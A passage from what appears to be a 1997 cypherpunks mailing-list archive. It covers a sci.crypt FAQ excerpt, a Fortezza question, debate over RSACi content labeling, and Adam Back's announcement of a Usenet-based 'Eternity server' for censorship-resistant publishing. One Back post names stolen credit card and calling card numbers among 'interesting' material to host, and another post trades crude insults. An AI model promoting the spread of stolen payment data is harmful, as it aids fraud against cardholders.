> If you are not useing a well know and strong cyper method I suggest you
> post details of your meathod to sci.crypt where thay will (most likely)
> pick holes in it.

	From the sci.crypt FAQ...

http://www.cis.ohio-state.edu/hypertext/faq/bngusenet/sci/crypt/top.html

2.3. How do I present a new encryption scheme in sci.crypt?

  ``I just came up with this neat method of encryption. Here's some
  ciphertext: FHDSIJOYW^&%$*#@OGBUJHKFSYUIRE. Is it strong?'' Without a
  doubt questions like this are the most annoying traffic on sci.crypt.

  If you have come up with an encryption scheme, providing some
  ciphertext from it is not adequate. Nobody has ever been impressed by
  random gibberish. Any new algorithm should be secure even if the
  opponent knows the full algorithm (including how any message key is
  distributed) and only the private key is kept secret. There are some
  systematic and unsystematic ways to take reasonably long ciphertexts
  and decrypt them even without prior knowledge of the algorithm, but
  this is a time-consuming and possibly fruitless exercise which most
  sci.crypt readers won't bother with.

  So what do you do if you have a new encryption scheme? First of all,
  find out if it's really new. Look through this FAQ for references and
  related methods. Familiarize yourself with the literature and the
  introductory textbooks.

  When you can appreciate how your cryptosystem fits into the world at
  large, try to break it yourself! You shouldn't waste the time of tens
  of thousands of readers asking a question which you could have easily
  answered on your own.

  If you really think your system is secure, and you want to get some
  reassurance from experts, you might try posting full details of your
  system, including working code and a solid theoretical explanation, to
  sci.crypt. (Keep in mind that the export of cryptography is regulated
  in some areas.)

  If you're lucky an expert might take some interest in what you posted.
  You can encourage this by offering cash rewards---for instance, noted
  cryptographer Ralph Merkle is offering $1000 to anyone who can break
  Snefru-4---but there are no guarantees. If you don't have enough
  experience, then most likely any experts who look at your system will
  be able to find a flaw. If this happens, it's your responsibility to
  consider the flaw and learn from it, rather than just add one more
  layer of complication and come back for another round.

  A different way to get your cryptosystem reviewed is to have the NSA
  look at it. A full discussion of this procedure is outside the scope
  of this FAQ.

  Among professionals, a common rule of thumb is that if you want to
  design a cryptosystem, you have to have experience as a cryptanalyst.

-- 
dkp at iname dot com * Exit the System.
4B63 E55D 1C92 68E3 8700 0EBF 5CDD 5538
--






From ATU5713 at compuserve.com  Mon Jul 28 11:29:42 1997
From: ATU5713 at compuserve.com (Alan Tu)
Date: Tue, 29 Jul 1997 02:29:42 +0800
Subject: How Does Fortezza Work?
Message-ID: <199707281412_MC2-1BC1-B1A3@compuserve.com>



Please send replies to atu5713 at compuserve.com

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I am writing an article to help people understand the technical and
practical issues surrounding the key escrow debate.  Can someone tell me
how the Fortezza chip works.

I have a 1993 document which is incomplete.  Is the session key K still
encrypted with the unit key U?  And is that whole thing encrypted, with
the serial number, with the family key F?  I'd appreciate some more
current info.  You will be credited in my article.


Alan Tu


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Type Bits/KeyID    Date       User ID
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                              Alan Tu <102534.2165 at compuserve.com>

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From love at cptech.org  Mon Jul 28 12:23:13 1997
From: love at cptech.org (James Love)
Date: Tue, 29 Jul 1997 03:23:13 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <33DCF05E.62269C50@cptech.org>



Tim May wrote:
> After reading several of James Love's posts, I think we are either
> just
> talking at cross purposes, or that he hasn't thought carefully about
> the
> constitutional issues. 

   Tim, on the one hand, you seem to be saying that you have
constitutional rights, which would make the government's enforcement of
labeling systems illegal.  On the other hand, you seem to express
concern that the government will succeed at making such labeling
mandatory.  I'm not sure which case you believe to be true, or if you
are still unsure how courts will rule on this issue down the road. 


> We have already seen this in the SurfWatch and KiddySafe filter
> debates,
> where the inclusion of certain words is enough to get a site blocked.
> (Understand that I am not arguing against KiddySafe's "rights" to do
> this,
> only noting that words are clearly as important to some folks as
> images.)


     The AI programs like Surfwatch have to rely upon text, because they
aren't smart enough to read the images.  

    But more generally, the whole censorware software industry is
feeding off the inefficiency of present adult labeling systems.  You
actually need a censorware program to filter stuff that is already
voluntarily labeled by the porn sites, because the *current* voluntary
system doesn't work very well (it is not standardized enough).  


   Regarding Huck Finn or any number of other disputes where various
groups seek to force adult labels (or the more complex RSACi or Safesurf
labels) on a wider array of information products, it would seem that
these problems are going to simmer along, as they have in the past.  But
the real problem comes when the society reaches a critical mass to do
something, particularly at the national or international level, when the
Internet is concerned.  I doubt that Huck Finn is going to be the
defining issue of this debate.  


> Ah, you admit that the "voluntary" labeling will likely become
> not-so-voluntary.


         At various points, things are more or less voluntary.  I run
about 12 Internet discussion lists.  Most lists are open and
unmoderated.  I have never removed someone from one of the lists, or
established "rules" for list behavior.  At one point earlier this year,
a member of one list was acting pretty strange, and was very hostile,
trying to drive everyone off the list who he didn't approve of.  Off
list harassment, online insults, very repetitive posts, etc.  He kept
pointing out that there were no rules that would require him to act more
civil, and that he was free to do whatever he wanted on the list.  This
was true, at the time.  But after a long period of trying to deal with
this, it was becoming less true.  I was getting fed up, and ready to
make some damn rules, and boot him off the list if he didn't follow
them.  Turned out that he backed off before it came to this.  My point
is that if people who use the Internet make the occasional effort 
to be civil, to respect others, etc.... then it isn't necessary to make
very many rules.  But when you have endless commercial spamming, or make
no effort to make it easy to filter porn from k-12 classrooms, then you
may end up with more rules that you might want.  In this sense, rules
will be result of a failure to solve problems informally.

      Voluntary is also something that means different things to
different people.  I try not to litter, because I like to live in a
clean environment.   I reframe from all sorts of behavior in public
places, not only because of legal sanctions, but also to be considerate
to others who are using the same space.

    I think that the cyber porn debate would be more of less ended if
there was an agreement of the standard meta tag for adult material.

    But I don't see this happening.  The debate is so polarized, and
people are trying to prove so many different things, that it seems
unlikely that there would be much of a constituency for what I am
proposing.

    For one thing, I think there is a big difference between a simple
rating=adult system, used on tiny number of porn sites, and the more
ambitious RSACi or other PICS systems.  It seems to me that you think
they are basically equivalent (trying not to put words in your mouth).

    Could be that this whole debate is much ado about nothing, since
nobody wants to to use the RSACi system, and maybe the incompetence of
those who want to be rating bureaus will delay action on this for
years.  

    Jamie
_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love at cptech.org






From stonedog at ns1.net-gate.com  Mon Jul 28 12:45:31 1997
From: stonedog at ns1.net-gate.com (stonedog at ns1.net-gate.com)
Date: Tue, 29 Jul 1997 03:45:31 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: 



On Mon, 28 Jul 1997, James Love wrote:

>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you

The assumption that this is an "exclusive or" is incredibly naive.

-BMM

-- 
Brian Minder; 
"I've continually said that the biggest problem with secure authentication is
that secure authentication is not possible." --Robert Costner; EFGa.






From aba at dcs.ex.ac.uk  Mon Jul 28 12:52:20 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 29 Jul 1997 03:52:20 +0800
Subject: Thomases (Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <199707281729.SAA00614@server.test.net>




James Love  writes:
> Tim May  writes:
> > Such as the multiple years in prison that each of the Thomases got?
> 
>      I don't know the Thomases, but did they get "multiple years in
> prison" for mislabeling?  Or for something else?

The Thomases ran an adult BBS and video business in California.  The
fedz busted them by the following moves:

1. Fed stooge posts Thomases some kiddie porn video tapes
2. Fedz kick down the door 30 seconds later before Thomases even knew
   they'd received any mail
3. Fedz tried Thomases in some other state with strong puritanical
   tendencies
4. Fedz locked up Thomases and threw away the key.

Most people who hear the story immediately wonder why the child porn
peddling Fed stooge wasn't locked up rather than the entirely innocent
Thomases.

For details there is a good write up in Phrack.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0



In alt.cypherpunks, Censorship Suck  writes:

 > That's pretty bad, when there's not even any sex.

Yes.  Most of these Web pages are not even political or sexual in
nature, but cute boys anywhere on the Net these days cause the
Fundies to have Grand Mal seizures.

 > My previous suggestion was to create "virtual" WWW sites
 > (when necessary, possibly as a stop-gap measure when there
 > is a censorship attack).

I read your earlier post, and find the notion of hosting Web
sites on Usenet intriguing.  Tim has always pointed out that
Usenet already exists as a persistent uncensorable repository of
virtually everything, and that applications (eg BlackNet) needing
such a facility should simply use the existing one.

 > By virtual, I mean by posting to USENET, probably encrypted,
 > with the decryption key following a couple days later.

 > It involves considerable development for either a newsreader
 > or preprocessor, but then, the work is implied. A
 > "gathering" design is necessary.

Conceptually, seamlessly extending the Web over Usenet is not
complicated.  Each document could be posted as a single PGP
conventionally encrypted article, with some reasonable convention
for encryption keys and message ids that would enable links to be
followed. Browsers could be modified to maintain a open
connection to an NNTP server, and to fetch and decrypt articles
specified by an nntp: link in lieu of using http.

Suppose I post my favorite banned Web pages to
alt.anonymous.messages on a weekly basis, and distribute browser
plug-ins and patches to enable Usenet to host Web content.

I forsee the following glitches.

First, as anyone who has posted a large number of articles to
Usenet knows, many servers will only get a subset of them.

Second, policy for article expiration is site-specific, and can
be made to depend on a number of parameters.  Posting once a week
may be fine for some servers, and not for others.

Third, it is only practical to employ Usenet to host static Web
content.  This rules out Web-based chat boards, and other such
politically interesting content, as well as anything that is
cgi-bin based.

Fourth, Web content on Usenet will be in an easily identified
format and trivial to filter out at local sites.

 > Because you are exactly right: the ISPs can be attacked,
 > regardless of the fault-tolerant design of the Internet.

 > Some version of the above tool WILL route around "damage"
 > attempts.

 > Interesting, that this would in part require cryptography.

 > Would the government go so far as to try and outlaw crypto
 > posts to USENET? Good luck.

Odder things have happened.

 > Someone should make a complete list of all the
 > contacts/emails involved in contacting ISPs to get them to
 > censor. There may be something to learn. (sort of a traffic
 > analysis deal)

It's the "usual suspects." We know who they are, and they are
making no attempt to keep their activities secret.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From tcmay at got.net  Mon Jul 28 13:30:14 1997
From: tcmay at got.net (Tim May)
Date: Tue, 29 Jul 1997 04:30:14 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: 



At 12:17 PM -0700 7/28/97, James Love wrote:

>   Tim, on the one hand, you seem to be saying that you have
>constitutional rights, which would make the government's enforcement of
>labeling systems illegal.  On the other hand, you seem to express
>concern that the government will succeed at making such labeling
>mandatory.  I'm not sure which case you believe to be true, or if you
>are still unsure how courts will rule on this issue down the road.

No contradiction. I believe many constitutionally protected things are
nevertheless violated by various laws, with the courts taking many years or
even decades, or never, to overturn these laws.

I don't believe any requirement to label one's writings, or one's other
works, will pass constitutional muster. This doesn't mean I will stand by
while PICS/RSAci systems which are drifting rapidly in the direction of
"mandatorily voluntary" (!) are being debated, even if I think the Supreme
Court will eventually overturn the law(s).

Same reason many of us opposed the CDA. And the same lack of contradiction
that it was unconstitutional.

(Your argument, applied to the CDA, would apparently be: ".. on the one
hand, you seem to be saying that you have constitutional rights, which
would make the government's enforcement of the CDA illegal.  On the other
hand, you seem to express concern that the government will succeed at
enforcing the CDA.  I'm not sure which case you believe to be true, or if
you are still unsure how courts will rule on this issue down the road." It
is possible, and often wise, to oppose legislation even if one is convinced
it is unconstitutional and will eventually be struck down by the Supreme
Court. And, of course, many severely unconstitutional laws have yet to be
struck down by the Court.)


>    I think that the cyber porn debate would be more of less ended if
>there was an agreement of the standard meta tag for adult material.

>    But I don't see this happening.  The debate is so polarized, and
>people are trying to prove so many different things, that it seems
>unlikely that there would be much of a constituency for what I am
>proposing.

At last we agree on something. There is no universally agreed upon standard.

I tried to use the Huck Finn example, because it's been a recurring and
easily understandable example. I suppose I'll have to use the "fisting and
pissing" example you yourself brought up.

Believe me, there are folks who _want_ children to see their writings and
whatnot on this topic.

Any non-mandatory labeling system will, perforce, run smack into this issue.


>    For one thing, I think there is a big difference between a simple
>rating=adult system, used on tiny number of porn sites, and the more
>ambitious RSACi or other PICS systems.  It seems to me that you think
>they are basically equivalent (trying not to put words in your mouth).

No, I have not attempted to compare the two. What I have consistently
argued is that for the ratings systems to successfully (though this is
arguable, too) shield little Suzie and Johnny from "fisting and pissing"
articles and sites, the ratings will be made mandatory. And external
standards will be imposed.

(Otherwise it's up to the personal opinion of those doing the rating, or
not. If Joe Pervert honestly believes his "Fisting and Pissing Playhouse"
_should_ be visited by nice little blonde girls, and he labels his site as
"Suitable for all nice little girls," you can see the problem.)

Note again that I am not arguing for such ratings. Far from it. Just the
opposite. I am saying it is utterly disingenuous for folks like you and
other supporters of PICS/RSAci to claim that ratings can be completely
voluntary because there will be unaninous, universal, and unambiguous
agreement on what constitutes material suitable for children.


>    Could be that this whole debate is much ado about nothing, since
>nobody wants to to use the RSACi system, and maybe the incompetence of
>those who want to be rating bureaus will delay action on this for
>years.

Expect legislative action this year or next. Even if overturned in a year
or two, it's good for reelection prospects.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at secret.squirrel.owl.de  Mon Jul 28 13:31:33 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Tue, 29 Jul 1997 04:31:33 +0800
Subject: NSA cracker - how many TW
Message-ID: <19970728193101.4574.qmail@squirrel.owl.de>




iang at cs.berkeley.edu
>  seems also unlikely.  (Actually, for all I know, terawatt power sources
>  may exist; that's out of my field.  Please let me know if this is the case.
>  I just know that at my rates, 7.12 TW for 33 minutes (at about $.10/kWh)

I've extracted some figures from an industry publication
and arrive at a worldwide electricity generation capacity
of 1.6 TW.  Assuming that 1% of that power is smuggled into
the deep space cracker we're not even close to 33 minutes,
and it doesn't matter whether we're looking at a one-off
every so often rather than a continuous 40 a day.

And that's still on optimistic assumptions including

1)  testing keys for free

2a) running on earth at 3 K rather than 300 K

or

2b) no bother transmitting power & signals into space
    (Like if the cracker had been secretly installed on Voyager 2
    that'd be your 33 mins gone waiting for the radio.)

IBM have published a communications scheme that claims to recover
energy normally lost - it was on their website a few months ago.
I skipped reading it at the time because it sounded dotty.








From rah at shipwright.com  Mon Jul 28 13:41:07 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Tue, 29 Jul 1997 04:41:07 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: 



At 1:52 pm -0400 on 7/28/97, Tim May wrote:


> After reading several of James Love's posts, I think we are either just
> talking at cross purposes, or that he hasn't thought carefully about the
> constitutional issues. Maybe both. In any case, this'll probably be my last
> response to his points.

Jamie Love is one of those nasty Naderites who believes that what the
government shouldn't control, the plaintiff bar should.

I killfiled him on com-priv a long time ago, and, when Tim started rastlin'
ol' Ralph-once-removed here on cypherpunks, I killfiled Love here, too.

Oddly enough, Love has a mailing list with lots of fun government-baiting
goodies in it, so he's not all that bad. Chalk it up to broken clock
disease, I guess...

Actually, now that I think about it, his newsletter talks all about how to
trash "public" utility commission meetings, which of course, wouldn't even
exist if idiots like him and Army-Boot Ralph hadn't created P-U-C's to
F-U-C us all, monopoly-wise, in the first place.

Jamie and Ralph-the-Plaintiff-Bar-Licker are basically Mutt to the State's
Jeff. Same as it ever was...

Thank God for Eudora Pro.

Cheers,
Bob

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From frissell at panix.com  Mon Jul 28 13:43:26 1997
From: frissell at panix.com (Duncan Frissell)
Date: Tue, 29 Jul 1997 04:43:26 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCB302.70F58811@cptech.org>
Message-ID: <3.0.2.32.19970728163613.0069dca8@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

>>      Why label it then?  I won't.  I think people should resist labels
>>on text.  99 percent of the concerns over web pages has to do with
>>graphics..... I would suggest dealing with the most obvious and
>>legitimate complains, but drawing a line where it made sense too.
>
>I wasn't saying I planned to label my writings. I was making the point that
>if "crap" and "consequences" (such as the law enforcement actions and
>legislation you yourself mention above) befall those who mislabel their
>sites, then surely this will not be confined to images alone. The "fisting
>and pissing" stuff you cited in another message will be equally unsuitable
>for children--many will claim--even if it is in the form of stories,
>attempts to recruit, etc.

Censorware naturally targets words rather than pictures because it is easier 
to write software that indexes and classifies words than it is to write image 
recognition software.  Language is actually blocked *more* than pictures 
since the programs themselves contain software to block forbidden words even 
on sites that have not been put on the censorware block list.

Jake Baker spent 30 days in stir for a text-only post.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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Ki1xQ0zUj28kZVIX0i/HDdr0dJVLoi5dwxXvLZPZ1jokQYVnUNPrTyW7jAEpFPS8
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OVDZ49hwJNo=
=1iQs
-----END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Mon Jul 28 14:24:22 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Tue, 29 Jul 1997 05:24:22 +0800
Subject: "What is your strategy to avoid RSACi type systems?"
In-Reply-To: <33DCF05E.62269C50@cptech.org>
Message-ID: <199707282021.VAA01157@server.test.net>




James Love  writes:
>    Tim, on the one hand, you seem to be saying that you have
> constitutional rights, which would make the government's enforcement of
> labeling systems illegal.  On the other hand, you seem to express
> concern that the government will succeed at making such labeling
> mandatory.  I'm not sure which case you believe to be true, or if you
> are still unsure how courts will rule on this issue down the road. 

What about the possibility (gasp) that the government might rush ahead
and do things which were illegal, and unconstitutional?

The US is littered with laws, taxes, court decisions which are clearly
unconstitutional.

The problem is that there is this set of people who like to do a thing
called "compromise", and this leads down a slippery path.  Sooner than
you expect you end up with dietary recommendation laws (ingest a few
non-government approved foodstuffs, find yourself locked up - eg many
drugs), 50% effective taxation even thought the people who wrote the
constitution and federal papers were clearly against this, and it is
also clearly unconstitutional.

Your comments on ratings sound a lot like compromises.

> I doubt that Huck Finn is going to be the defining issue of this
> debate.

True.  But that's what it'll come to long term.  Goverment always
starts from an extreme case.

>          At various points, things are more or less voluntary.  

Are taxes voluntary?  Car insurance?  Driving license?  Dog license?
Not straying from government dietary recommendations?  Not taking
notice of governmental "rating services"?  You can't get much closer
to the first amendment than that last one.

> But when you have endless commercial spamming, or make no effort to
> make it easy to filter porn from k-12 classrooms, then you may end
> up with more rules that you might want.  In this sense, rules will
> be result of a failure to solve problems informally.

Spam has technical solutions.  Charge postage.  Problem solved.  

(Or have a look at hashcash for a temporary solution:

	http://www.dcs.ex.ac.uk/~aba/hashcash/
)

You want government anti-spam laws?

Kids might read porn?  Feh.

Kids watch porn on TV.  Kids look at porn mags from shops, or passed
around at school.  Kids pass porn mags around at school from age 10 or
lower.

Libraries contain all sorts of stuff kids could read which would fail
government "rating services".  So do book stores, newspapers.

>     I think that the cyber porn debate would be more of less ended if
> there was an agreement of the standard meta tag for adult material.

That is an interesting suggestion.  

OK, I agree: you standardize a porn meta-tag.  No requirement to use
it.  Perhaps a few porn sites will even use it to increase their web
hits.  Kids will figure out how to do a web search _for_ adult rated
pages.

However I don't think it would appease the law happy, attention
hungry politicians.

The problem is that you can bet your bottom dollar that the law happy
idiots in government will want to draft shit-loads of laws to back it
up.  Voluntary it won't be.

A basic rule of thumb: don't negotiate, compromise with, vote for, or
talk to politicians, it encourages them, and you will always, always
come out worse off.

Slogan graffittied on a bridge around here:

	"don't vote, it only encourages them"

Rule #2: new laws never, never give you more freedom.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199707282148.WAA01753@server.test.net>




Mike Duvos  writes:
> In alt.cypherpunks, Censorship Suck  writes:
> 
>  > My previous suggestion was to create "virtual" WWW sites
>  > (when necessary, possibly as a stop-gap measure when there
>  > is a censorship attack).
> 
> I read your earlier post, and find the notion of hosting Web
> sites on Usenet intriguing.  [...]
> 
>  > By virtual, I mean by posting to USENET, probably encrypted,
>  > with the decryption key following a couple days later.
> 
>  > It involves considerable development for either a newsreader
>  > or preprocessor, but then, the work is implied. A
>  > "gathering" design is necessary.
> 
> Conceptually, seamlessly extending the Web over Usenet is not
> complicated.  Each document could be posted as a single PGP
> conventionally encrypted article, with some reasonable convention
> for encryption keys and message ids that would enable links to be
> followed. Browsers could be modified to maintain a open
> connection to an NNTP server, and to fetch and decrypt articles
> specified by an nntp: link in lieu of using http.
> 
> Suppose I post my favorite banned Web pages to
> alt.anonymous.messages on a weekly basis, and distribute browser
> plug-ins and patches to enable Usenet to host Web content.

You two must've been snoozing when I posted the Eternity service
announce back in April.  I implemented something which does pretty
much exactly what you're discussing.  I'll include a repost below.

> I forsee the following glitches.

I must've been doing something right, I read your practical glitches,
and went yup x 4 :-)

So beyond implementing it, which I've done a first cut of, the next
problem is getting people to use it, to advertise it so that people
know it exists, to get people to put lots of "interesting" (=
otherwise censored, so possibly pretty interesting) materials on it,
so that people find it interesting to browse documents on it.

I'm working on an article for Phrack 51 on it, as I thought the Phrack
audience a suitable one for folks interested in publishing interesting
materials (warez, hacking, cracking hints, tips, liberated information,
and some more on the less savoury side perhaps, CC numbers, calling
card numbers, etc).

A real boon would be a working demo system, and I still haven't set
one up myself.  As I said back in April: any takers.

My implementation doesn't require browser plug-ins.  It would require
that or a local proxy for better security, but a quick 'n easy is
probably a better starting point.  (Much like web based remailer
interfaces are ok things to introduce people to remailers, almost zero
set up, easy to use etc.)

One thing I didn't see you mention was the idea to use the web based
news archival services to get around the problem of news expiry.  I
haven't implemented those parts, as I was kind of hoping the idea
would take off and someone would thereby be motivated to contribute
the code.

The only novel thing is that the URL hashes which I was using for a
subject line (read reposted announce for why I do this) don't seem to
be indexed by the search engines (neither dejanews, nor altavista).
An idea I had to work around this was to use something like texto,
where you just use a group of words to encode the number.  Or I think
you can get away with numbers under a certain length.  So perhaps in
encoding url hashing to: 22596363 B3DE40B0 6F981FB8 5D82312E 8C0ED511 you
could convert to base-10, and group into whatever digit numbers:

Subject: 576283491 3017687216 1872240568 1568813358 2349782289

Then do a web search for:

576283491+ 3017687216+ 1872240568+ 1568813358+ 2349782289+

(altavista syntax + is word required).

Realtime uncensorable web courtesy of altavista :-)

Adam


reposted eternity announce:
======================================================================
To: cypherpunks at cyberpass.net
From: Adam Back 
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
--text follows this line--

Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
